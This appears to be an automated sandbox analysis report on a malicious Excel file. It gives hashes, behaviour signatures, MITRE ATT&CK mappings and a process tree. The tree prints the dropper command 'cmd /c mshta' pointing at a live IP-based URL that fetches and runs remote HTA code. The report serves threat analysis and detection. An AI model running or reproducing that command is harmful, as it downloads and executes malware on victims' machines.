76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 09:59

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General

Target

76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e.xls
Size

76KB
MD5

8cc7297dda5f22780b22d5fa643b0da3
SHA1

a3aa519607c9bddbdde3ed525d880172df11f43c
SHA256

76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e
SHA512

eb8c8cddcddea9e1f2cb70863ebfff2a23676a9bdc08440420cf1380dbbdb85625cac0e8fafd2e8f18f83e3c0d4867faf0925222e28583f47f83c887a9fb6361
SSDEEP

1536:1I+Hymsbck3hbdlylKsgqopeJBWhZFGkE+cMLxAAISQ5gQ72IotO6nitSU6U+x:1I+HymsYk3hbdlylKsgqopeJBWhZFGkz

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/zzx/ccv/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2492	2204	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3056	mshta.exe
7	3056	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2204	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2492	2204	EXCEL.EXE	31
PID 2204 wrote to memory of 2492	2204	EXCEL.EXE	31
PID 2204 wrote to memory of 2492	2204	EXCEL.EXE	31
PID 2204 wrote to memory of 2492	2204	EXCEL.EXE	31
PID 2492 wrote to memory of 3056	2492	cmd.exe	33
PID 2492 wrote to memory of 3056	2492	cmd.exe	33
PID 2492 wrote to memory of 3056	2492	cmd.exe	33
PID 2492 wrote to memory of 3056	2492	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\SysWOW64\cmd.exe
  cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/zzx/ccv/fe.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2204-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2204-1-0x000000007263D000-0x0000000072648000-memory.dmp

Filesize
44KB

Download
memory/2204-2-0x000000007263D000-0x0000000072648000-memory.dmp

Filesize
44KB

Download